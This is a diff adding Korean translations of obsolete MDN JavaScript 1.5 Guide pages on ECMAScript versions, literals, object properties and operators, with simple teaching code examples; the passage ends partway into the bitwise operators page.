+<h4 id="JavaScript_.EB.B2.84.EC.A0.84.EA.B3.BC_ECMAScript_.ED.8C.90.EB.B3.B8_.EC.82.AC.EC.9D.B4.EC.9D.98_.EA.B4.80.EA.B3.84" name="JavaScript_.EB.B2.84.EC.A0.84.EA.B3.BC_ECMAScript_.ED.8C.90.EB.B3.B8_.EC.82.AC.EC.9D.B4.EC.9D.98_.EA.B4.80.EA.B3.84">JavaScript 버전과 ECMAScript 판본 사이의 관계</h4>
+<p>Netscape는 ECMA와 밀접하게 작업하여 ECMAScript Specification(ECMA-262)를 만들었습니다. JavaScript 버전과 ECMAScript 판본(edition)들 사이의 관계가 아래 표에 설명되어 있습니다.</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>JavaScript 버전</th> <th>ECMAScript 판본과의 관계</th> </tr> <tr> <td>JavaScript 1.1</td> <td>ECMA-262, 1판은 JavaScript 1.1에 기초합니다.</td> </tr> <tr> <td>JavaScript 1.2</td> <td>JavaScript 1.2가 발표됐을 때 ECMA-262가 아직 완성되지 않았습니다. 다음과 같은 이유때문에 JavaScript 1.2는 ECMA-262 1판과 완벽하게 호환되지 않습니다. <ul> <li>Netscape는 JavaScript 1.2에 몇 가지 기능을 추가했으나, ECMA-262에서 고려하지 못했습니다.</li> <li>ECMA-262는 두 가지 새 기능을 추가했습니다. 유니코드를 이용한 국제화, 모든 플랫폼에서의 동일한 동작. Date 개체 같은 JavaScript 1.2의 몇 가지 기능이 플랫폼에 의존적이었습니다.</li> </ul> </td> </tr> <tr> <td> <p>JavaScript 1.3</p> </td> <td> <p>JavaScript 1.3은 ECMA-262 1판과 완벽하게 호환됩니다.</p> <p>JavaScript 1.3은 ==와 !=연산자를 제외하고는 JavaScript 1.2의 추가적인 기능을 그대로 유지하면서 JavaScript 1.2가 ECMA-262와 어긋나던 점들을 해결했습니다. ==, != 연산자는 ECMA-262에 맞추기 위해 수정되었습니다.</p> </td> </tr> <tr> <td> <p>JavaScript 1.4</p> </td> <td> <p>JavaScript 1.4는 ECMA-262 1판과 완벽하게 호환됩니다.</p> <p>JavaScript 1.4가 발표되었을 때 ECMAScript 명세의 세 번째 버전이 아직 완성되지 않았습니다.</p> </td> </tr> <tr> <td>JavaScript 1.5</td> <td>JavaScript 1.5는 ECMA-262 3판과 완벽하게 호환됩니다.</td> </tr> </tbody>
+</table>
+<p><small><strong>표 1.2: JavaScript 버전과 ECMAScript 판본</strong></small><br>
+<br>
+참고: ECMA-262 2판은 1판에 편집상 사소한 변경과 버그 수정을 가한 판본입니다. 현재 ECMA의 TC39 워킹그룹에서 ECMAScript 4판을 작업하고 있습니다. 4판은 JavaScript 2.0과 대응될 것입니다.</p>
+<p><a href="/ko/Core_JavaScript_1.5_Guide" title="ko/Core_JavaScript_1.5_Guide">JavaScript 기본 레퍼런스</a>에서 ECMAScript 호환 기능을 보여줍니다.</p>
+<p>JavaScript는 항상 ECMAScript Specification에 포함되지 않은 기능들을 포함할 것입니다. JavaScript는 추가적인 기능을 제공하지만 ECMAScript와 호환됩니다.</p>
+<h4 id="JavaScript_.EB.AC.B8.EC.84.9C_vs_ECMAScript_.EB.AA.85.EC.84.B8.EC.84.9C" name="JavaScript_.EB.AC.B8.EC.84.9C_vs_ECMAScript_.EB.AA.85.EC.84.B8.EC.84.9C">JavaScript 문서 vs ECMAScript 명세서</h4>
+<p>ECMAScript 명세는 ECMAScript를 구현하는데 필요한 요구사항을 모아놓은 것입니다. 이것은 우리가 JavaScript의 한 기능이 다른 ECMAScript 구현에서도 지원될 것인지 결정하는데 유용합니다. ECMAScript에서 지원하는 기능만을 사용하는 JavaScript 코드를 작성할 계획이라면 ECMAScript 명세를 살펴볼 필요가 있을 것입니다.</p>
+<p>ECMAScript 문서는 스크립트 프로그래머를 돕기위해 작성된 것이 아닙니다. 스크립트 작성에 대한 정보를 얻으려면 JavaScript 문서를 보십시오.</p>
+<h4 id="JavaScript.EC.99.80_ECMAScript_.EC.9A.A9.EC.96.B4" name="JavaScript.EC.99.80_ECMAScript_.EC.9A.A9.EC.96.B4">JavaScript와 ECMAScript 용어</h4>
+<p>ECMAScript 명세는 JavaScript 프로그래머에게는 친숙하지 않은 용어와 문법을 사용하여 작성되었습니다. 비록 ECMAScript의 언어 설명이 다르긴 하지만 언어는 똑같습니다. JavaScript는 ECMAScript 명세에서 설명하는 모든 기능을 지원합니다.</p>
+<p>JavaScript 문서는 JavaScript 프로그래머에게 적당한 언어의 측면을 설명합니다. 예를 들면 이렇습니다.</p>
+<ul> <li>전역 개체(Global Object)는 JavaScript 문서에서는 논의되지 않는데, 그것은 우리가 그 개체를 직접 사용할 일이 없기 때문입니다. 전역 개체에서 우리가 사용할 만한 메소드와 속성은 JavaScript 문서에서 논의되고 있기는 하지만 최상위(top-level) 함수와 속성이라고 부릅니다.</li> <li>JavaScript 문서에서 매개변수가 없는 <code>Number</code>와 <code>String</code> 개체 생성자는 논의되지 않고 있는데, 그것은 거의 사용할 일이 없기 때문입니다. <code>Number</code>의 인자없는 생성자는 +0을 반환하고, <code>String</code>의 인자없는 생성자는 ""(빈 문자열)을 반환합니다.</li>
+</ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:About", "Core_JavaScript_1.5_Guide:Values") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/JavaScript_Overview", "fr": "fr/Guide_JavaScript_1.5/Aper\u00e7u_de_JavaScript", "ja": "ja/Core_JavaScript_1.5_Guide/JavaScript_Overview", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Podgl\u0105d_JavaScriptu" } ) }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/literals/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/literals/index.html
new file mode 100644
index 0000000000..dfaff2c586
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/literals/index.html
@@ -0,0 +1,174 @@
+---
+title: Literals
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Literals
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<h3 id=".EC.83.81.EC.88.98.EA.B0.92.28Literal.29" name=".EC.83.81.EC.88.98.EA.B0.92.28Literal.29">상수값(Literal)</h3>
+<p>JavaScript에서 값을 표현하기 위해 상수값을 사용할 수 있습니다. 그것은 변수가 아니라 고정된 값으로서 "문자 그대로(literally)" 스크립트에 값을 제공하는 것입니다. 이 절에서 다음과 같은 상수값에 대해서 설명하겠습니다.</p>
+<ul>
+  <li>{{ Anch("배열 상수값") }}</li>
+  <li>{{ Anch("불리언 상수값") }}</li>
+  <li>{{ Anch("소수 상수값") }}</li>
+  <li>{{ Anch("정수") }}</li>
+  <li>{{ Anch("개체 상수값") }}</li>
+  <li>{{ Anch("문자열 상수값") }}</li>
+</ul>
+<h4 id=".EB.B0.B0.EC.97.B4_.EC.83.81.EC.88.98.EA.B0.92" name=".EB.B0.B0.EC.97.B4_.EC.83.81.EC.88.98.EA.B0.92">배열 상수값</h4>
+<p>배열 상수값은 대괄호([])안에 배열의 원소(element)를 0개 이상 나열한 것입니다. 배열 상수값으로 배열을 만드면 배열은 지정된 원소를 가지도록 초기화되고, 지정된 원소의 개수만큼의 길이를 갖게 됩니다.</p>
+<p>다음 예제는 세 개의 원소를 가지고 길이가 3인 <code>coffees</code> 배열을 만드는 예제입니다.</p>
+<pre>coffees = ["French Roast", "Colombian", "Kona"]</pre>
+<p><b>참고</b> 배열 상수값은 개체 초기화지정자(object initializer) 중의 하나입니다. <a href="ko/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_Object_Initializers">개체 초기화지정자 사용하기</a>를 보십시오.</p>
+<p>최상위 스크립트에서 상수값을 이용하여 배열을 만들면 JavaScript는 배열 상수값을 포함하는 표현식을 평가(evaluate)할 때마다 배열을 만듭니다. 또한, 함수 안에서 사용된 상수값은 함수가 호출될 때마다 생성됩니다.</p>
+<p>배열 상수값은 Array 개체입니다. Array 개체에 대한 상세한 내용은 <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object">Array 개체</a>를 보십시오.</p>
+<p><b>배열 상수값의 추가적인 쉼표</b></p>
+<p>배열 상수값에 모든 원소를 지정할 필요는 없습니다. 쉼표만 찍어 두면 값이 할당되지 않은 빈 공간을 가진 배열이 만들어집니다. 다음 예제는 <code>fish</code> 배열을 만듭니다.</p>
+<pre>fish = ["Lion", , "Angel"]</pre>
+<p>이 배열은 값을 가진 원소 두 개와 빈 원소 하나를 갖게됩니다. (<code>fish{{ mediawiki.external(0) }}</code>은 "Lion", <code>fish{{ mediawiki.external(1) }}</code>은 <code>undefined</code>, <code>fish{{ mediawiki.external(2) }}</code>는 "Angel"이라는 값을 가집니다.)</p>
+<p>원소 목록 끝에 남겨둔 쉼표는 무시됩니다. 다음 예제에서 배열 길이는 3입니다. <code>myList{{ mediawiki.external(3) }}</code>은 만들어지지 않습니다. 그외에 목록에 있는 다른 쉼표들은 각각 새로운 원소를 나타냅니다.</p>
+<pre>myList = ['home', , 'school', ];</pre>
+<p>다음 예제에서 배열 길이는 4이고, <code>myList{{ mediawiki.external(0) }}</code>과 <code>myList{{ mediawiki.external(2) }}</code>는 비게 됩니다.</p>
+<pre>myList = [ , 'home', , 'school'];</pre>
+<p>다음 예제에서 배열 길이는 4이고 <code>myList{{ mediawiki.external(1) }}</code>과 <code>myList{{ mediawiki.external(3) }}</code>이 비게 됩니다. 오직 마지막 쉼표만 무시됩니다.</p>
+<pre>myList = ['home', , 'school', , ];</pre>
+<h4 id=".EB.B6.88.EB.A6.AC.EC.96.B8_.EC.83.81.EC.88.98.EA.B0.92" name=".EB.B6.88.EB.A6.AC.EC.96.B8_.EC.83.81.EC.88.98.EA.B0.92">불리언 상수값</h4>
+<p>불리언 형은 두 가지 상수값을 가질 수 있는데, 그것은 <code>true</code>와 <code>false</code>입니다.</p>
+<p><code>true</code>, <code>false</code>라는 기본(primitive) 불리언 값과 true, false 값의 불리언 개체를 혼동하지 마십시오. 불리언 개체는 기본 불리언 데이터 형을 감싸는 역할을 할 뿐입니다. 더 많은 정보는 <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Boolean_Object">불리언 개체</a>를 참조하십시오.</p>
+<h4 id=".EC.A0.95.EC.88.98" name=".EC.A0.95.EC.88.98">정수</h4>
+<p>10진수, 16진수, 8진수 정수를 쓸 수 있습니다. 10진수 정수 상수값은 0(영)으로 시작하지 않는 숫자의 나열입니다. 0(영)으로 시작하는 정수 상수값은 8진수입니다. 0x(또는 0X)로 시작하면 16진수입니다. 16진수는 0부터 9까지의 숫자와 a부터 f나 A부터 F까지의 문자를 포함할 수 있습니다. 8진수에는 0부터 7까지만 쓸 수 있습니다.</p>
+<p>8진수 정수 상수값은 사용하지 말기를 추천하고 있으며, ECMA-262 표준 3판에서는 아예 제거되었습니다. 하위 호환성을 위해 JavaScript 1.5에서는 여전히 8진수 정수 상수값을 지원하고 있습니다.</p>
+<p>몇 가지 정수 상수값을 예를 보여드리겠습니다.</p>
+<pre class="eval">0, 117, -345 (10진수)
+015, 0001, -077 (8진수)
+0x1123, 0x00111, -0xF1A7 (16진수 또는 "hex")
+</pre>
+<h4 id=".EC.86.8C.EC.88.98_.EC.83.81.EC.88.98.EA.B0.92" name=".EC.86.8C.EC.88.98_.EC.83.81.EC.88.98.EA.B0.92">소수 상수값</h4>
+<p>소수 상수값은 이런 부분으로 이뤄집니다.</p>
+<ul>
+  <li>부호를 가질 수 있는(즉, "+"나 "-"로 시작할 수 있는) 10진수 정수,</li>
+  <li>소수점("."),</li>
+  <li>소수 부분(10진수),</li>
+  <li>지수 부분</li>
+</ul>
+<p>지수 부분은 "e"나 "E" 뒤에 숫자가 붙은 형태입니다. 숫자 앞에는 부호("+"나 "-")를 붙일 수도 있습니다. 소수 상수값은 적어도 하나의 숫자에 소수점 또는 지수 부분을 가져야 합니다.</p>
+<p>소수 상수값의 몇 가지 예제를 보여드리겠습니다. 3.1415, -3.1E12, .1e12, 2E-12</p>
+<h4 id=".EA.B0.9C.EC.B2.B4_.EC.83.81.EC.88.98.EA.B0.92" name=".EA.B0.9C.EC.B2.B4_.EC.83.81.EC.88.98.EA.B0.92">개체 상수값</h4>
+<p>개체 상수값은 중괄호({}) 안에 특성(property) 이름과 그에 해당하는 값의 쌍을 나열한 것입니다. 문장(statement)의 시작 부분에 개체 상수값을 사용해서는 안됩니다. { 가 블럭의 시작을 나타내기 때문에, 에러가 나거나 의도하지 않은 동작을 보일 것입니다.</p>
+<p>다음은 개체 상수값의 예입니다. <code>car</code> 개체의 첫 번째 원소는 <code>myCar</code>라는 특성을 정의하고 있습니다. 두 번째 원소는 <code>getCar</code> 특성을 정의하는데, <code>(CarTypes("Honda"));</code>라는 함수를 호출하고 있습니다. 세 번째 원소는 <code>special</code> 특성을 정의하는데에 <code>Sales</code>라는 변수를 사용합니다.</p>
+<pre>var Sales = "Toyota";
+
+function CarTypes(name) {
+   if(name == "Honda")
+      return name;
+   else
+      return "Sorry, we don't sell " + name + ".";
+}
+
+car = {myCar: "Saturn", getCar: CarTypes("Honda"), special: Sales}
+
+document.write(car.myCar); // Saturn
+document.write(car.getCar); // Honda
+document.write(car.special); // Toyota</pre>
+<p>개체 특성 이름에 정수 상수값이나 문자열 상수값을 사용할 수 있고, 개체 안에 다른 개체를 포함시킬 수도 있습니다. 다음 예제를 보십시오.</p>
+<pre>car = {manyCars: {a: "Saab", b: "Jeep"}, 7: "Mazda"}
+
+document.write(car.manyCars.b); // Jeep
+document.write(car[7]); // Mazda
+</pre>
+<p>다음 사항을 참고하십시오.</p>
+<pre class="eval">foo = {a: "alpha", 2: "two"}
+document.write (foo.a)    // alpha
+document.write (foo[2])   // two
+//document.write (foo.2)  // Error: missing ) after argument list
+//document.write (foo[a]) // Error: a is not defined
+document.write (foo["a"]) // alpha
+document.write (foo["2"]) // two
+</pre>
+<h4 id=".EB.AC.B8.EC.9E.90.EC.97.B4_.EC.83.81.EC.88.98.EA.B0.92" name=".EB.AC.B8.EC.9E.90.EC.97.B4_.EC.83.81.EC.88.98.EA.B0.92">문자열 상수값</h4>
+<p>문자열 상수값은 큰따옴표(")나 작은따옴표(')로 둘러싸인 0개 이상의 문자들 입니다. 문자열은 같은 종류의 따옴표로 묶어야 합니다. 즉, 작은따옴표 둘로 묶거나, 큰따옴표 둘로 묶어야 한다는 말입니다. 문자열 상수값의 예를 보여드리겠습니다.</p>
+<ul>
+  <li>"blah"</li>
+  <li>'blah'</li>
+  <li>"1234"</li>
+  <li>"one line \n another line"</li>
+  <li>"John's cat"</li>
+</ul>
+<p>우 리는 문자열 상수값에 String 개체의 모든 메소드를 호출할 수 있습니다. JavaScript는 자동으로 문자열 상수값을 임시 String 개체로 만들어서 메소드를 호출한 후, 임시 String 개체를 제거합니다. 문자열 상수값에 <code>String.length</code> 특성을 사용할 수도 있습니다. 이렇게 말입니다.</p>
+<ul>
+  <li>"John's cat".length</li>
+</ul>
+<p>우리가 특별하게 String 개체를 필요로 하는 경우가 아니라면 문자열 상수값을 사용해야만 합니다. String 개체에 대한 자세한 내용은 <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/String_Object">String 개체</a>를 보십시오.</p>
+<h5 id=".EB.AC.B8.EC.9E.90.EC.97.B4.EC.97.90.EC.84.9C_.ED.8A.B9.EC.88.98.EB.AC.B8.EC.9E.90_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name=".EB.AC.B8.EC.9E.90.EC.97.B4.EC.97.90.EC.84.9C_.ED.8A.B9.EC.88.98.EB.AC.B8.EC.9E.90_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">문자열에서 특수문자 사용하기</h5>
+<p>다음 예제에서 볼 수 있듯이 일반적인 문자뿐만 아니라 특수문자도 문자열에 쓸 수 있습니다.</p>
+<pre>"one line \n another line"</pre>
+<p>JavaScript 문자열에 사용할 수 있는 특수문자를 표로 나타낸 것입니다.</p>
+<table class="fullwidth-table">
+  <tbody>
+    <tr>
+      <th>문자</th>
+      <th>의미</th>
+    </tr>
+    <tr>
+      <td>\b</td>
+      <td>Backspace</td>
+    </tr>
+    <tr>
+      <td>\f</td>
+      <td>Form feed</td>
+    </tr>
+    <tr>
+      <td>\n</td>
+      <td>New line</td>
+    </tr>
+    <tr>
+      <td>\r</td>
+      <td>Carriage return</td>
+    </tr>
+    <tr>
+      <td>\t</td>
+      <td>Tab</td>
+    </tr>
+    <tr>
+      <td>\v</td>
+      <td>Vertical tab</td>
+    </tr>
+    <tr>
+      <td>\'</td>
+      <td>Apostrophe or single quote</td>
+    </tr>
+    <tr>
+      <td>\"</td>
+      <td>Double quote</td>
+    </tr>
+    <tr>
+      <td>\\</td>
+      <td>Backslash character (\).</td>
+    </tr>
+    <tr>
+      <td>\<i>XXX</i></td>
+      <td>세 자리 까지의 8진수 "XXX"로 지정하는 Latin-1 인코딩의 문자. 0부터 377 사이. 예를 들어, \251은 저작권 기호의 8진수 표현입니다.</td>
+    </tr>
+    <tr>
+      <td>\x<i>XX</i></td>
+      <td>두 자리 까지의 16진수 "XX"로 지정하는 Latin-1 인코딩의 문자. 00부터 FF 사이. 예를 들어, \xA9는 저작권 기호의 16진수 표현입니다.</td>
+    </tr>
+    <tr>
+      <td>\u<i>XXXX</i></td>
+      <td>네 자리의 16진수 "XXXX"로 지정하는 유니코드 문자. 예를 들어, \u00A9는 저작권 기호의 유니코드 표현입니다. <a href="ko/Core_JavaScript_1.5_Guide/Unicode#.EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84_.EC.8B.9C.ED.80.80.EC.8A.A4">유니코드 이스케이프 시퀀스</a>를 보십시오.</td>
+    </tr>
+  </tbody>
+</table>
+<p><small><b>표 2.1: JavaScript 특수문자</b></small></p>
+<h5 id=".EB.AC.B8.EC.9E.90_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84" name=".EB.AC.B8.EC.9E.90_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84">문자 이스케이프</h5>
+<p>표 2.1에 없는 문자에 대해서는 역슬래시가 무시됩니다. 그러나 이러한 기능은 사용하지 않기를 권장하므로 사용을 피해야만 합니다.</p>
+<p>역슬래시를 앞에 붙이면 문자열 안에 따옴표를 넣을 수 있습니다. 이것은 따옴표 "이스케이프(escaping)"라고 알려져 있습니다.</p>
+<pre>var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service."
+document.write(quote)
+</pre>
+<p>이 코드의 결과는 다음과 같습니다.</p>
+<pre>He read "The Cremation of Sam McGee" by R.W. Service.
+</pre>
+<p>문자열 안에 역슬래시 문자를 넣고 싶으면 역슬래시 문자를 이스케이프시켜야 합니다. 예를 들어, <code>c:\temp</code> 라는 경로를 문자열에 할당하고 싶으면 다음과 같이 하면 됩니다.</p>
+<pre>var home = "c:\\temp"
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Constants", "Core_JavaScript_1.5_Guide:Unicode") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Literals", "fr": "fr/Guide_JavaScript_1.5/Constantes_litt\u00e9rales", "ja": "ja/Core_JavaScript_1.5_Guide/Literals", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Litera\u0142y" } ) }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/objects_and_properties/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/objects_and_properties/index.html
new file mode 100644
index 0000000000..abe9ff83f4
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/objects_and_properties/index.html
@@ -0,0 +1,39 @@
+---
+title: Objects and Properties
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Objects_and_Properties
+---
+<h3 id=".EA.B0.9D.EC.B2.B4.EC.99.80_.EC.86.8D.EC.84.B1" name=".EA.B0.9D.EC.B2.B4.EC.99.80_.EC.86.8D.EC.84.B1"> 객체와 속성 </h3>
+<p>자바스크립트 객체는 객체를 구성하는 속성을 가지고 있습니다. 속성에는 간단한 방법으로 접근할 수 있습니다.:
+</p>
+<pre>객체이름.속성이름
+</pre>
+<p>객체 이름과 속성 이름 두 가지 모두에 대해 알기쉬운 예가 있습니다. 속성은 값을 지정하여 정의합니다. 예를 들어 <code>myCar</code>라는 객체가 있다면(객체가 이미 존재한다고 가정합니다.), <code>make</code>, <code>model</code>, <code>year</code>라는 속성에 다음과 같이 값을 지정할 수 있습니다.
+</p>
+<pre>myCar.make = "Ford";
+myCar.model = "Mustang";
+myCar.year = 1969;
+</pre>
+<p>배열은 한 가지 변수 이름으로 결합되어 있는 연속된 값의 집합입니다. 자바스크립트에서 속성과 배열은 밀접한 관련이 있습니다; 말하자면 그 두 가지는 같은 데이터 구조에 다른 인터페이스라는 뜻입니다. 예를 들면 <code>myCar</code> 객체에 다음과 같이 접근할 수도 있습니다:
+</p>
+<pre>myCar["make"] = "Ford";
+myCar["model"] = "Mustang";
+myCar["year"] = 1967;
+</pre>
+<p>이러한 배열의 종류는 <i>연관 배열</i>이라고 부릅니다. 왜냐하면 각각의 인덱스 요소가 문자열 값과 연관되어 있기 때문입니다. 이러한 방식에 대한 설명은 다음의 함수에 객체와 객체의 이름을 입력했을 때 객체의 속성을 표시해주는 다음과 같은 함수에서 알아볼 수 있습니다:
+</p>
+<pre>function show_props(obj, obj_name) {
+   var result = "";
+   for (var i in obj)
+      result += obj_name + "." + i + " = " + obj[i] + "\n";
+   return result;
+}
+</pre>
+<p>결과적으로 <code>call show_props(myCar, "myCar")</code>라는 함수 호출은 다음과 같은 값을 반환합니다:
+</p>
+<pre>myCar.make = Ford
+myCar.model = Mustang
+myCar.year = 1967
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Predefined_Functions:escape_and_unescape_Functions", "Core_JavaScript_1.5_Guide:Creating_New_Objects") }}
+</p>{{ languages( { "fr": "fr/Guide_JavaScript_1.5/Objets_et_propri\u00e9t\u00e9s", "ja": "ja/Core_JavaScript_1.5_Guide/Objects_and_Properties", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Obiekty_i_w\u0142a\u015bciwo\u015bci" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/arithmetic_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/arithmetic_operators/index.html
new file mode 100644
index 0000000000..ce55c0e3f2
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/arithmetic_operators/index.html
@@ -0,0 +1,44 @@
+---
+title: Arithmetic Operators
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<h3 id=".EC.82.B0.EC.88.A0_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EC.82.B0.EC.88.A0_.EC.97.B0.EC.82.B0.EC.9E.90"> 산술 연산자 </h3>
+<p>산술 연산자는 수(상수값이든지 변수든지)를 받아서 하나의 수를 반환합니다. 표준 산술 연산자는 더하기(+), 빼기(-), 곱하기(*), 나누기(/)입니다. 이 연산자들은 대부분의 다른 프로그래밍 언어에서 처럼 동작합니다. 예외적으로 / 연산자는 JavaScript에서 소수를 반환합니다. C나 Java 같은 다른 언어에서는 / 연산자가 소수 부분은 잘라버립니다. 예를 들면 이렇습니다.
+</p>
+<pre>1/2 //returns 0.5 in JavaScript
+1/2 //returns 0 in Java
+</pre>
+<p>JavaScript는 다음 표에 나오는 산술 연산자를 제공합니다.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>연산자</th>
+<th>설명</th>
+<th>예제</th>
+</tr>
+<tr>
+<td>%<br>(나머지)</td>
+<td>2항(binary) 연산자. 두 피연산자의 나눗셈에서 나온 나머지를 반환합니다.</td>
+<td>12 % 5 returns 2.</td>
+</tr>
+<tr>
+<td>++<br>(증가)</td>
+<td>단항(unary) 연산자. 피연산자에 1을 더함. 전위 연산자(++x)를 사용하면 피연산자에 1을 더한 후 그 값을 반환합니다. 후위 연산자(x++)를 사용하면 피연산자에 1을 더하기 전에 피연산자의 값을 반환합니다.</td>
+<td><code>x</code>가 3일 때, <code>++x</code>는 <code>x</code>를 4로 만들고 4를 반환합니다. 반면 <code>x++</code>는 <code>x</code>를 4로 만들고 3을 반환합니다.</td>
+</tr>
+<tr>
+<td>--<br>(감소)</td>
+<td>단항 연산자. 피연산자에서 1을 뺌. 반환값은 증가 연산자와 동일한 방식으로 결정됩니다.</td>
+<td><code>x</code>가 3일 때, <code>--x</code>는 <code>x</code>를 2로 만들고 2를 반환합니다. 반면 <code>x--</code>는 <code>x</code>를 2로 만들고 3을 반환합니다.</td>
+</tr>
+<tr>
+<td>-<br>(단항 부정)</td>
+<td>단항 연산자. 피연산자의 부호를 바꾼 값을 반환합니다.</td>
+<td><code>x</code>가 3이면 <code>-x</code>는 -3을 반환합니다.</td>
+</tr>
+</tbody></table>
+<p><small><b>표 3.4: 산술 연산자</b></small>
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:Comparison_Operators", "Core_JavaScript_1.5_Guide:Operators:Bitwise_Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_arithm\u00e9tiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/assignment_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/assignment_operators/index.html
new file mode 100644
index 0000000000..dbc284f12f
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/assignment_operators/index.html
@@ -0,0 +1,62 @@
+---
+title: Assignment Operators
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators
+---
+<h3 id=".ED.95.A0.EB.8B.B9_.EC.97.B0.EC.82.B0.EC.9E.90" name=".ED.95.A0.EB.8B.B9_.EC.97.B0.EC.82.B0.EC.9E.90">할당 연산자</h3>
+<p>할당 연산자는 왼쪽 피연산자에 오른쪽 피연산자의 값을 할당합니다. 가장 기본적인 할당 연산자에는 등호(=)가 있는데, 왼쪽 피연산자의 값을 오른쪽 연산자에 할당합니다. 즉, x = y 라고 하면 y의 값이 x에 할당되는 것입니다.</p>
+<p>다른 할당 연산자는 다음 표에서 보듯이 표준연산을 약식으로 쓰는 것입니다.</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>약식 연산자</th>
+   <th>의미</th>
+  </tr>
+  <tr>
+   <td>x += y</td>
+   <td>x = x + y</td>
+  </tr>
+  <tr>
+   <td>x -= y</td>
+   <td>x = x - y</td>
+  </tr>
+  <tr>
+   <td>x *= y</td>
+   <td>x = x * y</td>
+  </tr>
+  <tr>
+   <td>x /= y</td>
+   <td>x = x / y</td>
+  </tr>
+  <tr>
+   <td>x %= y</td>
+   <td>x = x % y</td>
+  </tr>
+  <tr>
+   <td>x &lt;&lt;= y</td>
+   <td>x = x &lt;&lt; y</td>
+  </tr>
+  <tr>
+   <td>x &gt;&gt;= y</td>
+   <td>x = x &gt;&gt; y</td>
+  </tr>
+  <tr>
+   <td>x &gt;&gt;&gt;= y</td>
+   <td>x = x &gt;&gt;&gt; y</td>
+  </tr>
+  <tr>
+   <td>x &amp;= y</td>
+   <td>x = x &amp; y</td>
+  </tr>
+  <tr>
+   <td>x ^= y</td>
+   <td>x = x ^ y</td>
+  </tr>
+  <tr>
+   <td>x |= y</td>
+   <td>x = x | y</td>
+  </tr>
+ </tbody>
+</table>
+<p><small><b>표: 할당 연산자</b></small></p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators", "Core_JavaScript_1.5_Guide:Operators:Comparison_Operators") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/bitwise_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/bitwise_operators/index.html
new file mode 100644
index 0000000000..860e6787e9
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/bitwise_operators/index.html
@@ -0,0 +1,101 @@
+---
+title: Bitwise Operators
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p><br>
+</p>
+<h3 id=".EB.B9.84.ED.8A.B8_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EB.B9.84.ED.8A.B8_.EC.97.B0.EC.82.B0.EC.9E.90"> 비트 연산자 </h3>
+<p>비트 연산자는 피연산자를 10진수나 16진수, 8진수로 다루지 않고 32개의 비트 집합으로 다룹니다. 예를 들어, 10진수 9는 2진수로 1001입니다. 비트 연산자는 2진수 표현으로 연산을 하지만 반환값은 JavaScript 표준 수 값으로 반환합니다.
